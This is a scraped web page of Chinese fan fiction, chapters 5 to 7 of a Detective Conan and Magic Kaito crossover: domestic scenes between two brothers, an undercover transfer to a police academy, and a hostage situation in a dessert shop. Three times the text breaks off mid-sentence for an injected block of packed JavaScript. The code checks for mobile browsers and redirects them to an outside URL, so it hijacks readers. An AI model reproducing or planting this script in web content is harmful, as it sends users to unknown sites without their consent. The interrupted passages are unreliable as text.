飞鸟彻羽抿了一口咖啡:“要改……” ……齁甜。 飞鸟彻羽咽也不是,吐也不是,纠结了片刻还是硬着头皮吞了下去。 完全没有心理准备,就被暗算了的少年默默用眼神问责罪魁祸“手”。 “这是弄得什么东西。” 但是始作俑者也很理直气壮,像是忍者结印一样,噼里啪啦地打着手语: 小先生说不让您再喝那种伤胃的东西,所以做了热可可。 飞鸟彻羽:“……倒了。” “时间修改一下,提前到警校开学之后一周左右。其他结果不用修改。” 飞鸟彻羽挥挥手,一直在旁边举着电话的手套挂了电话,将手机放在一边。 这时候,又过来一副手套,又开始噼里啪啦的打手语: 您中午想吃什么? “不吃,没时间。” 飞鸟彻羽觉得自己现在状态极佳,还能再处理八百件,哪有时间吃饭。 但是这一副手套也不怎么听话: 小先生说您不能不吃午饭。 “想造反吗?”飞鸟彻羽冷笑一声,合上电脑支起上身,双手交叉抱胸,“是我苏生你们还是快斗苏生你们?一个两个的吃里爬外,在我面前比比划划?” 至始至终都是一副手套:……先生分辨不出我们之间的区别啊。 不过也正常,本身长得一模一样,被苏生出来的魔力也是飞鸟彻羽的味道,根本也没什么标志性的特点以供辨别啊。 这么多年一直如此,也习惯了。 您为什么不自己去和小先生讲? “……狐假虎威,拿着鸡毛当县令。” ——吃鱿鱼吧,我现在通知去抓。 “不吃。” 不知道快斗给起什么名字的手套没理他,就当是没听见,自顾自地出去。 还带上了门。 * “快斗——” 有着一头长发,穿漂亮碎花裙的女孩叫住了自己的邻居,看着窗外阴沉的天色,有些担心,“你有带伞吗?青子没带,但是外面好像要下雨了。” 而且今天上学之前爸爸妈妈都有说过要加班,没办法来接青子放学。 黑羽快斗听到有人叫自己的名字,伸长脖子探出脑袋,像是雨后钻出的蘑菇。 “我带了,”顶着一头小炸毛的男孩遮住嘴巴,凑到同桌耳边,很小声地和她咬耳朵:“也没关系,我哥今天晚上来接我们。” 即使中森青子看不见他的表情,光听语气也能想象到黑羽快斗现在是什么样子。 就像是一只昂首挺胸的小白鸽子,挺起自己毛茸茸的胸脯,走来走去给所有人炫耀。 ……时不时地还要扑棱扑棱翅膀,借此来吸引周围人的注意力。 不亚于要当众表演魔术时的开屏程度。 果不其然,一出校门,中森青子就一眼看见了等在一旁的少年。 中森青子见过黑羽快斗的哥哥,据说是收养的远方亲戚家的孩子,也是和黑羽快斗如出一辙的蓝眼睛,锁骨的黑发扎成一个小揪揪,很标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395881|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准的“黑羽式”长相。 ——能不像吗?本来就是黑羽快斗照着自己的脸捏的□□。 飞鸟彻羽察觉中森青子在看自己,也点点头就当是打过招呼,递给她一件绿恐龙雨衣和同色的雨鞋套。 雨衣上还带有淡淡的味道,明显是刚刚才买的。 “你爸打电话了,跟我们回去?” 中森青子笑得挺甜:“谢谢彻哥。” “哥——”旁边凑过来一个毛茸茸的脑袋,眼巴巴地看着他,“我也想要。” 就知道你也想要。 飞鸟彻羽又从背包里拿出另一套蓝色的同款,给黑羽快斗披上,一粒一粒扣好扣子,将他之前用的雨伞整理好,驱逐干净上面的水珠,塞进背包里,撑起自己的那把黑伞: “走吧。” 学校不允许家长将私家车开到学校门口,所以车停的远了些,要走一段路。 接小孩放学是件实在麻烦的事,尤其是现在同时还有两个。 短短不到三百米的路程,感觉走出了三公里的架势: 发现了蜗牛是一定要蹲下来看的,捡了片叶子也很值得兴奋,路过其他小朋友要挤做一团,雨水堆积起来的小水洼更是必踩。 终于,在黑羽快斗成功跳进一个水坑,溅起的雨水泼在了飞鸟彻羽的小腿上之后,少年总算是忍不住了,气得去捏小坏蛋的脸,这才换来短暂的安宁。 飞鸟彻羽坐上驾驶座,关上车门,将手机递到后面:“稍等,给你爸打个电话。” 接上了别人家的小孩,还是要和对方父母说一声的。 黑羽快斗接过手机,很熟练地解锁,拨出一串号码,对面很快接通了:“这里是中森银三,请问是哪一位?” “爸爸!我是青子,我跟快斗家的车回去了哦。” 中森银三叮嘱几句,大概是别给人家添麻烦,今天要很晚才能回家,自己在家解决晚饭之类的。 “让青子和我们一起去吃晚饭嘛。”黑羽快斗当然很想和好朋友继续待在一起,“反正我和我哥也要吃饭的嘛,我们还可以一起写作业,等叔叔下班再来接青子就好啦。” 中森银三有些踌躇:“……这样是不是有些太麻烦了。” “不麻烦不麻烦不麻烦,”黑羽快斗拍拍旁边的中森青子,“青子来不来?” 女孩心领神会,脆生生地应了一声,点点头。 于是黑羽快斗就将手机塞回到飞鸟彻羽手里。 飞鸟彻羽:…… 黑羽快斗眼巴巴地看着他。 “……也不麻烦,我们本来就是要去吃饭的。” 中森银三也客气两句,表示改天有机会也欢迎来中森家做客,尝尝自己的手艺云云。 不客气不行,如果是黑羽夫妇,邻里之间偶尔麻烦一下也没什么,更何况本来还是孩子的朋友。 但是要麻烦黑羽家的长子……主要是没什么交情啊。 关键是那孩子也不像是怎么乐意和别人交流的样子。 飞鸟彻羽和中森银三来来回回进行了几轮成年人之间的寒暄过后,挂了电话:“我不会做饭,今天晚上出去吃吧。想吃什么?” 5. 第 5 章 “我想回家吃,我们回家吃嘛。” 飞鸟彻羽透过后视镜,和黑羽快斗对上视线,迎着透过前挡风玻璃的灯光,黑羽快斗又露出那种招牌的,黑羽快斗式笑容。 飞鸟彻羽:……有时候觉得快斗真的不是很聪明。 ——一天天的就知道咧着个嘴傻笑。 “……知道了。” 少年调转车头,朝着黑羽宅驶去。 * 怎么吃饭是个问题。 飞鸟彻羽抱胸站在厨房里,一脸严肃,像是在思考什么关乎身家性命的问题。 他是真的不会做饭,最擅长的项目是烧开水。 表面上是在认真写作业,实际上在竖起耳朵听墙角的中森青子:“……真的没问题吗?其实我也会一点的,我可以帮忙去打下手。” 我们今天真的能正常吃上晚饭吗…… 彻哥怎么看都不像是会做饭的样子。 但是去朋友家做客,讲朋友家长做饭不好吃未免也太失礼了些。 霎时间,温柔体贴的女孩子自心底涌现出一股没有来的决绝感。 中森青子下定决心:不论到时候彻哥做成什么样子,都要满怀感激的吃下去,并由衷地夸奖他做饭好吃。 “我们去看看?没有问题的啦。”旁边坐着的黑羽快斗一脸坏笑,故意扬起声音,生怕塞壬听不出来是专门说给他听的。 远在厨房的飞鸟彻羽:…… 黑羽快斗拉着中森青子,一起跑到厨房: “哥——!你做什么好吃的?我今天超——饿的,好期待我哥给我们做什么好吃的哦——” 就在旁边的中森青子:…… 还是假装自己不会说话比较好吧……彻哥看起来都快碎了。 “哥你怎么还没动啊?我们今天晚上吃什么?” 上次这么如芒在背的时候,还是把自己搞进抢救室,然后被黑羽快斗抓个正着。 “……我在考虑,先出去。” 黑羽快斗能不知道飞鸟彻羽的厨艺是个什么水平吗——切个西瓜都弄得和犯罪现场似的。 他心里快要乐死了,偏偏面上装得什么都不知道,眼巴巴地盯着飞鸟彻羽看:“哥,我想吃芝士虾球——青子想吃什么?可以点菜的,我哥什么都很擅长的,做菜当然也是不在话下。” 无视飞鸟彻羽瞪大眼睛,控诉他的目光,小坏蛋激情向好朋友推荐自家兄长的“拿手好菜”:“吃煎鳕鱼排吧?我哥做这个超——级好吃!” 中森青子除了说好还能怎么办呢? OvO 飞鸟彻羽捡起早就躺在洗手台边缘上,跃跃欲试、随时待命的,不知道手套第一二三四五六七八九十号,给自己戴上。 瞬间就像是解锁并点满了“厨艺专精”,原本一窍不通的小白立马变成五星级大厨。 看得一旁的中森青子目不暇接。 彻哥,好强! 是怎么可以一边同时掌握四口锅,一边还能兼顾提前准备食材的?! 自己一个人比平常五个人都要有效率! 于是就像是在炫技一样,以飞快的速度,在短短半个小时之内就搞定了四菜一汤,还下了乌冬面。 飞鸟彻羽将手套脱下来,丢回洗手台上:“吃饭。” 不过也不能确定味道,说实话刚刚彻哥眼花缭乱的操作,她实在没看清具体是怎么操作的。 闻起来确实很香,中森青子咽了一下口水。 中森青子试探性的夹了一只虾球,小心翼翼地咬了一小点…… “好吃唉。” 女孩试探性地又咬了一大口。 “好好吃!” 感动的泪水从嘴角流了下来:TvT。 黑羽快斗坐在飞鸟彻羽右手边,假装自己在认真吃饭,实际上是在偷偷用余光观察他。 飞鸟彻羽夹起碗里的洋葱圈,尝了一口,放进黑羽快斗碗里。 太辣了。 飞鸟彻羽夹起碗里的溏心蛋,尝了一口,放进黑羽快斗碗里。 太腻了。 飞鸟彻羽夹起碗里的胡萝卜,尝了一口,放进黑羽快斗碗里。 太生了。 单就饮食习惯来讲,黑羽快斗偏爱甜口,但不挑食。 与之相比,飞鸟彻羽就挑嘴的多,首先牲畜肉半点不沾,其次就挑的五花八门。 蒸的吃的煮的不一定吃,煎的吃的烤的不一定吃。 昨天吃的今天不一定吃,今天吃的明天不一定吃。 主打一个看似不挑食,实际挑味道,嘴巴叼的很。 但是今天的饭味道很不错。 温蒂做的都是他爱吃的,而且说实话算是超水平发挥了。 ……生气了啊。 飞鸟彻羽夹起碗里的油豆腐,尝了一口,放进黑羽快斗碗…… 黑羽快斗把碗移开了。 飞鸟彻羽的筷子一顿,移回来丢进去,把自己碗里的东西吃完。 “我吃好了。多谢款待。” 中森青子发誓这话绝对真情实意,并开始在心里默默盘算上学中午蹭好友便当的可能性。 虽然黑羽家也很忙的样子,但是偶尔蹭一顿也是没问题的吧…… 少年走进自己的卧室,合上门,开始处理文件。 黑羽快斗将碗筷收拾起来,放进洗碗机,将桌子擦干净,抹布丢进洗手台。 两小只在学校就把功课完成了个七七八八,剩下一点也早在吃饭之前就已经写完了,现在吃饱之后,挤在客厅的茶几边,头碰着头,给书柜上摆着的各种小玩意上色。 黑羽快斗挑了一组鸟团木雕,总共四个,体型依次递减。 中森青子拿了一只摇着大尾巴的狐狸,准备把它涂成蓝色:“快斗准备做什么?” “啊……”男孩装模作样地沉吟片刻,才指着最大的那只,开口道,“这只是我老爸。” 然后指了指体型稍小的一只:“这只是我妈。” 举了举手里最先准备上色那只:“这是我哥。” 然后最小的:“这个是我。” 飞鸟彻羽平时有做颜料的爱好,客厅的柜子上摆满了各种装在玻璃瓶里面的色粉。 就是把各种能做色粉的东西晾干打粉碎,水飞法加水沉淀倒掉浮水,晾干塞进玻璃瓶里密封保存。 需要用的时候加溶剂和颜料粘合剂,研磨一会就可以用了。 黑羽快斗挑了和飞鸟彻羽尾巴颜色最接近的珍珠白,开始加红花油。 做手工的时间总是过得飞快,等二人回过神来的时候,中森银三已经来到黑羽宅了。 飞鸟彻羽早听见他的脚步声,提前走过去,拉开了门。 省着他又敲门,中森银三总是把门敲得很响。 吵。 还没敲响门就开了,透过眼镜和飞鸟彻羽对上视线的中森警官被吓了一跳,干笑两声:黑羽家这个大的,可真瘆人啊…… “我来接青子——青子?爸爸来接你回家啦?” 女孩叼着雪糕,含糊得应了一声,提起早就收拾好的书包往外走。 狐狸没干不好带走,不过可以等下次来接着画。 “等等等等,”黑羽快斗拉过好友的手腕到冰箱前,一把拉开冰箱门,捡着青子爱吃的将书包塞得满满当当,几乎要溢出来,“要放进冰箱里赶快吃,吃完了再来拿啊。” 中森青子也不和好朋友客气,点头应下,约好和黑羽快斗明天也一起上学。 中森银三客气了两句,父女俩就此告辞。 大门合上,发出一声闷响。 飞鸟彻羽一把扯下易容,丢进垃圾桶,转身就走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395882|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 黑羽快斗连忙扑上去,紧紧环住少年的腰:“你生气啦?” 飞鸟彻羽不理他,径直向前走。偏偏黑羽快斗也死不松手,拦又拦不住,就像是拖了一条尾巴,向卧室走去。 一直到飞鸟彻羽的卧室门口,少年拍拍他的胳膊:“松手,出去。” 黑羽快斗才不听他的呢,反而变本加厉,将脸埋在他的后腰,黏黏乎乎地撒娇:“不要嘛,别赶我,我今天晚上也要和你一起。” 飞鸟彻羽被他蹭的一激灵,用手指钩住他的后衣领子,企图把他拉开。 黑羽快斗于是围着他的腰转转着圈的躲,衬衣被扯出来,拧成麻花卷在飞鸟彻羽的腰间。 这次又转到了前面,小混蛋故技重施。 “松开。” “不要,”黑羽快斗提出条件,“我要躺尾巴。” 飞鸟彻羽低头瞪他,黑羽快斗笑嘻嘻地仰起头看他的眼睛。 “……洗漱去。” 如愿有尾巴枕着的黑羽快斗看着尾巴的主人支起小桌板,开始打字。 “……哥,我困,”黑羽快斗扯扯他的袖口,“我想睡觉。” “睡你的。” “太亮了,还很吵,我睡不着。”盯着飞鸟彻羽控诉的视线,黑羽快斗开始得寸进尺,“你把灯关了,我们一起躺着。” 飞鸟彻羽不说话,盯着他看。 但是黑羽快斗才不怕他呢:“我昨天晚上睡太少了,今天不能熬夜。” 本来打算今晚通宵的飞鸟彻羽:……啧。 一把拍灭顶灯,将麻烦的小鬼抱上来,盖好被子,眼镜丢在床头柜上:“快睡。” 眼睛慢慢适应了黑暗后,黑羽快斗模模糊糊地看见对方背朝着自己躺着,也没有放出来翅膀,于是伸手从后面环住他的脖子:“我们聊天嘛。” 飞鸟彻羽倒是一沾床就有点困了:“……你又不睡了?” “关了灯又睡不着了——你转过来嘛。” “不。” “背着聊也行,”黑羽快斗很好满足,“我们说什么?就说你为什么和温蒂姐姐吵架了?” 其实黑羽快斗也大概心里有数,总不过是飞鸟彻羽又要干什么伤身劳神的事。 “……什么温蒂?” “就是那个做饭的手套叫温蒂——我给她起的呀。” 黑羽快斗给家里所有零零碎碎五花八门的,被飞鸟彻羽苏生出来的每一样东西都起了名字,即使是有着完全相同魔力波动,完全一样的外形,黑羽快斗也从来没有叫错过。 ……也算是一种特殊的才能吧。 “……多此一举。” “才不是多此一举嘞,名字明明很重要!”黑羽快斗喵喵叫着表示抗议,“不许偷喝咖啡,也不许不吃午饭。” “……哦。” 飞鸟彻羽很困了,他最近几天连轴的忙,几乎都没怎么睡过,全靠咖啡吊着,现在咖啡劲过了,实在困得不行。 黑羽快斗也知道他很困了,躺在一旁不吭声,就在他几乎以为飞鸟彻羽已经睡着了的时候,突然又开口道: “……过几天……要出差。” “去哪里?很远吗?” “……米花町。” 那就是很近了,都没出东京。 “要去多久啊?” “最多……两个月?” 警校毕业也只有三个多月了。 “什么时候走?” “嗯……再过……” 黑羽快斗竖起耳朵,听着他“再过”了半天,也没过出个所以然来。 ……这是真睡着了。 一直听着耳畔的呼吸变得绵长,黑羽快斗才蹑手蹑脚地爬下床,整理好杯子,再从另一边钻进来,爬到哥哥怀里。 ——山不来就我,我便去就山嘛。 6. 第 6 章 “呜……哈……” 半长头发的青年在课桌上,摊成一张猫饼,困倦地打了个哈欠。 “还有最后一节课——等下了课我们一起去医院看小阵平吧。” 金发首席欣然同意:“好啊,顺便把这周的作业一起带给他。” “哇,小降谷,超记仇的,”萩原研二揶揄两句,秉承着好兄弟“有难同当,有福再说”的优良指导思想,提醒道,“别忘了还有咱们昨天晚上的检讨。” “话说,我们好像是要来新同学了来着?” 伊达航皱眉回忆,自己今天早上去教官办公室的时候,好像听了一耳朵。 “不过我们都开学几个月了才来报道也太奇怪了一点吧?” “好了——都静一静,”一身正装,满脸严肃的教官敲了敲讲台,示意这群被假期冲昏了头的臭小子们先收收心,至少老老实实坐在教室里先上完假期前的最后一节课,“长野警察学校来了位交换生,大概要交流一个月——进来吧,先简单做个自我介绍。” 应声从教室前门进来一名少年。 许是因为还没能领到制服的缘故,少年穿着简单的白衬衣加黑色运动裤,在讲台角落的粉笔盒里面捡出一支粉笔,一笔一划地写下了自己的名字: 鸢尾弥生。 这就是飞鸟彻羽的新马甲了。 “去找个空位坐。” 空位置有两个: 一个堆满了东西,但是乱中有序,显然主人很有自己的想法。 另一个却是完全的空桌子。 ——前者属于现在还没出院的小卷毛松田阵平,后者属于已经办理退学手续的浅井和人。 飞鸟彻羽站在讲台上,居高临下能看见四个明显的魔力来源,或者说一个——其三个应该是因为近距离接触沾染上的结果。 少年掀起眼皮,隔空和上挑眼的青年对上视线,然后又不着痕迹地错开。 诸伏景光,在飞鸟彻羽的视线里,整洁得体的警校制服和旁边的同学别无二致,只是上上下下拍满了血手印。 ……找到了。 于是萩原研二就看见新同学迟疑了一下,径直走到降谷零面前,指节轻轻扣了扣金发首席的桌子: “同学,方便让个位置吗?” 措不及防被挑衅的降谷零:“……我?” 一般有点社交常识的人都知道,有时候对方使用反问语气,不是代表他有疑问,而是他认为你有问题。 偏偏罪魁祸首看起来毫无自知之明,理直气壮地点点头: “是这样没错,教官刚刚说让我找个位置坐——所以能麻烦你让个位置吗?” “不可以吗?我想和他坐。” 措不及防被点名的诸伏景光:OvO? 一边旁观的萩原研二:O-O! 新同学,恐怖如斯! 因为长相特殊,一入学就招致许多流言蜚语,但是用实力一一回敬的降谷零: “哈?你知不知道自己在说什么?” 飞鸟彻羽不说话,盯着他。 降谷零也不甘示弱,瞪回去:“你想要别人就得给……” “还上不上课了?!” 半截粉笔精准地打在飞鸟彻羽的后脑勺,然后摔在地上,断成更短的两截。 原本气氛剑拔弩张的两个人像是突然被扼住了脖子的大鹅,还没演变成一场事故的小纠纷就此不了了之。 真勇啊。 萩原研二眼见着新同学抽开自己旁边的椅子,将背包塞进抽屉里,摸出一个本子一支笔,在上面写写画画。 他显然很有自己的一套行事逻辑,完全不关心周围人的看法,我行我素的程度仿佛和周边人根本不是一个物种。 并且根本没有什么,刚来第一天要给大家留下一点好印象的形象包袱,毫不犹豫地打破所有不相干人的幻想。 右手托腮,左手拿笔,视线落在面前的过道,神游。 新同学坐在教室最靠窗的角落里,下午明媚的一片阳光逃过窗帘的围堵,映照在少年的身上,虔诚的亲吻少年精致的眉眼。 被风鼓动的蓝色布帘像是翻涌着的微凉的潮汐,在阳光下金光闪烁。一波未平,一波又起,久久不能平息。 偏偏对方丝毫不受影响,手中不停,从萩原研二这个角度,正正好好可以在反着光的笔记本上,很清楚的看到对方在纸面上的所有内容: 火柴人连环画。 豆豆眼,圆脑袋,水滴型的身体,简化成短线条的胳膊腿。没有文本,但是笔者神态抓得很准,完全不影响理解。 大概是一个……种“土豆”的故事? 纸面上的小人原本有一个完整的身体,每走一段路就从自己的身上扯下来一块,被丢弃的部分就随手扔在路边,然后很快就又长出一个新的小火柴人。 有点像把发芽的土豆切成小块,然后每一块都能长成一个新的植株。 ——土豆种植手册,地狱版。 故事挺简单,画风也可爱,显得“分尸”这种事情也很诡异的童趣了起来。 临近放假的最后一节课,大家多多少少都有些心浮气躁,萩原研二也不例外。教官讲的东西早就预习过了,实在听不进去,倒是看新同期新鲜产出小人书看得津津有味…… 然后就看到故事的最后一话打了一个大大的问号。 偷窥者下意识地抬起眼睛,对上对方那双圆润的双眼,正一眨不眨地盯着他。 ……偷看被发现了。 萩原研二被抓包了也不显得窘迫,很是淡定的Wink一下,像是普渡众生的菩萨,平等的向遇见的所有人散发魅力。 新同学默默转过身去,换了一支笔另翻出一张绿色的彩纸在上面写些什么。 但是这次被对方的背影挡着,没能看到。 飞鸟彻羽撰写完最后一笔,将这张纸完整地撕下来,纸页在少年纤细的指尖折叠反转,捏出来一只丑兮兮的小青蛙。 即使是萩原研二的情商,也实在没有办法昧着良心,说出“可爱”二字。 ……新同学的动手能力大概不太行。 少年轻压小青蛙的屁股,然后抬起指尖,小青蛙就越过窄窄的过道,轻轻巧巧落到手心里。 萩原研二捧起来那个几乎没有重量的小礼物,细细观察,以便一会展开看完内容之后还可以原样折起来。 “……什么好东西?给我也看看呗?” 幽幽的声音措不及防从背后响起,像是突然出现的背后灵,阴森森地笑着下一秒就准备伸手索命。 在教室里开小差被教官抓个正着的家伙连忙回头,正对上鬼冢教官那张笑得很是核善的脸。 萩原研二:…… 萩原研二:?? 萩原研二:!!!!! “对不起?!” 鬼冢教官:“出去!” 萩原研二应声,拿了笔记本,顺手将刚刚收到的、绿油油的小礼物塞进口袋里,垂头丧气的从后门出去。 训不能白挨:) 鬼冢八藏目送萩原研二离开后,又将矛头对准了扰乱课堂秩序的罪魁祸首。 很灾难的,飞鸟彻羽居然能从那张方脸上面看出实在是难以言喻的刻薄感。 “还有你……” 鬼冢一时卡壳。 飞鸟彻羽好心提醒他:“鸢尾,鸢尾弥生。” “你也出去。” * “……被赶出来了。” “被赶出来哩QvQ……” 飞鸟彻羽看见萩原研二把顺手带出来的笔记本翻开顶在头上,也有样学样,两人一起并排靠在后门,顶蘑菇。 “我叫萩原研二喔,叫我萩原或者研二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395883|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又或者是别的什么昵称都可以,”旁边的家伙眨眨眼睛,“我知道你叫鸢尾弥生对吧?” 飞鸟彻羽点点头。 “……教官一直都是这么……”飞鸟彻羽纠结了一下,一时间竟然找不到合适的形容词,只好在一众不那么礼貌的词汇之间挑了一个足够委婉但是又不那么恰当的,“阴魂不散吗?” 感觉实在是很像莫名出现在背后的地缚灵之类的。 “鬼冢教官平时人很好的来着,就是今天有点特殊情况。” 说起这事,萩原研二有些尴尬地捏捏鼻尖:“其实也不算?主要是前几天的时候,额,我们几个,我,降谷零,就是刚刚和你说话的那个金色头发的男生,加上他的同桌诸伏景光,坐在你后面的班长伊达航。我们几个捅了个挺大的篓子,让教官连夜赶过去救场来着——他应该是现在气还没消。” 萩原研二很是不好意思地讪笑:“这么说起来你还是被我们连累了来着,真是挺抱歉的。” “没什么,”新同学表现得很是“大度”,从口袋里摸出一个炒面面包,“吃吗?” 按照公安递回的情报:“萩原研二”喜欢炒面面包。 紫水晶一样的眼睛瞬间亮了起来:“谢谢,你怎么知道我喜欢吃这个?!那我可就不客气啦。” “……随便拿的。” 萩原研二是很自来熟的性格,拿了别人的零食之后就很自然地接受了“一见如故”这个设定,很是洒脱地就地坐下,拍拍身边的空挡: “快来。” 飞鸟彻羽纠结了一下,在“地上人来人往踩来踩去的,实在可能不太干净”和“任务目标盛情难却”之间,选择了后者。 坐下的时候,将双腿放平。 ——毕竟是鱼尾,再怎么灵活也比不过关节的折叠度。 萩原研二手长脚长的,盘坐在角落里面显得有点微妙的憋屈:“说实话……(嚼嚼)……我有点想小阵平了。” “……什么‘小阵平’?” 飞鸟彻羽也摸出来一个抹茶包,咬了一口。 “小阵平就是松田阵平啦,我的幼驯染啦,”萩原研二很是委屈的吸吸鼻子,“就是hagi酱从小到大最好的朋友,我们从小学就认识了。” “也不知道小阵平现在人怎么样了,为什么不能联系我们,有没有好好吃饭,昨天晚上睡得怎么样,想不想hagi……啊对了!我们本来还打算一会下课了之后一起去看小阵平来着,鸢尾你要不要和我们一起去啊?” 萩原研二清楚自己从小到大一直长得好看,很擅长利用自己外貌方面的优势,平时撒娇惯了也没什么心理负担: “去嘛去嘛去嘛去嘛……” “他是你们的朋友,不是我的。” “哎呀,不要不好意思嘛,本来我们也是不认识的啊,多接触接触不就熟起来了。而且小阵平人很好的,还是那种百年难遇的那种池面喔——去看看嘛,看两眼又不亏。” 萩原研二猛地抓住少年的肩膀,紫色的眼睛撞入飞鸟彻羽的眼眸:“是什么安排——快回答123!” 察觉到抗拒的萩原研二先一步放松了力道,改为轻轻地搭在肩膀上,微微仰起头仰视对方,原本无害的下垂眼更是显得可怜。 “为什么?明明就没有安排吧?宁愿撒谎也要拒绝我吗?我就那么让你讨厌吗?” 萩原研二:可怜巴巴.jpg 飞鸟彻羽:…… 收放自如,松弛有度。 飞鸟彻羽其实很清楚自己不是好相与的性格,是很不讨喜的类型。 但是萩原研二……感觉他和路边的石头当朋友都不意外。 这个角度来讲,萩原研二和黑羽快斗应该很有共同语言。 “嗯。” 这就算是同意了。 “那我们走吧?” 现在? 7. 第 7 章 “……班长、降谷还有诸伏说我们一会直接在医院集合。” 飞鸟彻羽捧着菜单低低应声,决定选择这家店的新品,作为与松田阵平病房相见的见面礼:抹茶薄荷蛋糕。 有榴莲夹心的那种。 这种搭配……真的能吃吗? 萩原研二忧心仲仲,一向阳光开朗的性格罕见的有些忧郁,甚至开始在心中默默祈祷,对新品颇有兴趣的新同学能够稍微礼貌性的征求一下周围人的意见。 “要这个。” 飞鸟彻羽指着精致的配图,纠结了一下尺寸:一人四寸,加上病号一共六个。 “要二十四寸……” 然后被眼疾手快的萩原研二一把捂住嘴,陪笑道:“他胡说的,就要普通抹茶蛋糕,六寸就可以了,谢谢您。” “我没……” “麻烦您了,这边付款是吧?”萩原研二怕他继续语出惊人,连忙交钱定下,企图和问题儿童讲道理,“你买那么多万一吃不完不久浪费了?” 飞鸟彻羽挣脱了萩原研二的桎梏(实际上是被放开了):“……吃不完就给松田吧。” 萩原研二:……所以小阵平是什么垃圾桶吗? 没能买成二十四寸大蛋糕的家伙有点兴致不佳,殃殃地窝在甜品店配带的沙发上,托着腮看向窗外,缩成一小团。 看起来倒是正正常常,天然无害的样子。 * 被警方强行疏散,手里握着刚刚挂断的电话的萩原研二怔怔地站在一旁。 “萩原?萩原——?!你怎么回事?!”旁听了松田阵平和萩原研二对话的鬼冢教官企图唤回学生不知飞到何处的魂,“松田那家伙不是说没事……” “不是小阵平……” “……什么?” 周遭是酒吧内被强行疏散的客人,破口连珠地骂,旁边的警笛声刺耳地尖叫着,谱成一曲粗粝的背景音。 闪烁的红□□光交替打在萩原研二脸上,半长头发的青年又重复了一次:“电话那边,不是松田。” “……怎么听出来的?” 鬼冢教官知道萩原研二不会在这种事情上开玩笑,但还是觉得匪夷所思: 除了萩原研二本人之外,刚刚就数他离得最近,隔着那段短短的距离,鬼冢八藏清晰地听到这对幼驯染之间的对话。电话那边,是松田阵平特有的,直率又从容。 ……明明听声音就是。 “反正就不是,”即使没有证据,依然有重不容置啄的笃定,“不知道是被录音了,还是有人顶替,或者是松田在我不知道的时候突然人格解离了,反正就不是——没有那种和松田说话的时候……” 萩原研二一时卡壳,不知道该用什么语言来形容:“……dokidoki的感觉。” 鬼冢八藏:……不是很懂你们幼驯染。 “……是你太多疑了。” 一向温柔无辜的下垂眼和鬼冢八藏对上视线,在这个时候居然也有了些许锐气:“……我没有知情权吗?” “即使在里面生死未卜,下落不明的,是我从小到大最重要的兄弟,没有之一?” 鬼冢八藏错开实现:“有公安介入,松田不会有时的——那边要强制清场了。” 但是萩原研二不肯就此罢休。 “我会找到真相的。” “不论是谁。” * 萩原研二借着对方背朝着自己的视觉死角,明目张胆地打量着这位不速之客: 偏偏掐在松田阵平出事时间点,开学三个月才登记入学。 丝毫不掩饰对降谷零和诸伏景光,当时和松田阵平同行去酒吧两人的兴趣。 第一次见面就能拿出来萩原研二最喜欢的炒面面包。 …… 不过好在,昨天晚上已经联系上了松田阵平,确定他确实没有什么危险。 也许他真的没有恶意,但是任何可能威胁到小阵平安全的因素…… 不允许。 而正好飞鸟彻羽也在仗着自己匪夷所思的听力,光明正大的监听。 被发现了…… ——“萩原研二”和预想中的一样敏锐。 不过,眼前临时有些小麻烦急待处理。 “出事了。” 下一瞬间,挂着风铃的甜品店门被一脚踹开,带着子弹特有的破风声,将几人头顶的吊灯打个粉碎,玻璃渣天女散花般炸开,引发周围一片惊呼。 飞鸟彻羽被反应迅速的萩原研二一把捞进怀里,滚到桌子下面。 摇摇欲坠的金属吊灯砸在桌面上,迸发出一声巨响。 好在有桌子做阻隔,没有人被重物砸伤。 ……觉得对方心怀不轨,暗自提防,和希望有人在身边受伤是两码事。 “所有人!都蹲下!双手抱头不许动!” 萩原研二借着视线的死角,悄悄观察闯入的不速之客: 黑卫衣,鸭舌帽,惨白的脸色,眼下的乌青,神经质的不断颤抖的双手,刚刚开过火的枪,还有绑在腰间的…… 炸弹?! 萩原研二一边抖落浑身的碎玻璃,一边伸手将飞鸟彻羽身上粘到的玻璃渣子拍掉:“没受伤吧?” 飞鸟彻羽摇头。 歹徒就近抓了一个孕妇遮住自己的身体,缩在墙角,用枪紧紧抵住对方的后腰: “叫你们能管事的人来!我要提条件!” 米花町真是个神奇的地方。 民风淳朴,人杰地灵。 萩原研二显然已经很是适应了,示意飞鸟彻羽拿出手机。 【“。”进入群聊】 【拆弹のKing:欢迎新人。】 【拆弹のKing:黑猫拍爪.jpg】 【拆弹のKing:叫什么名字?】 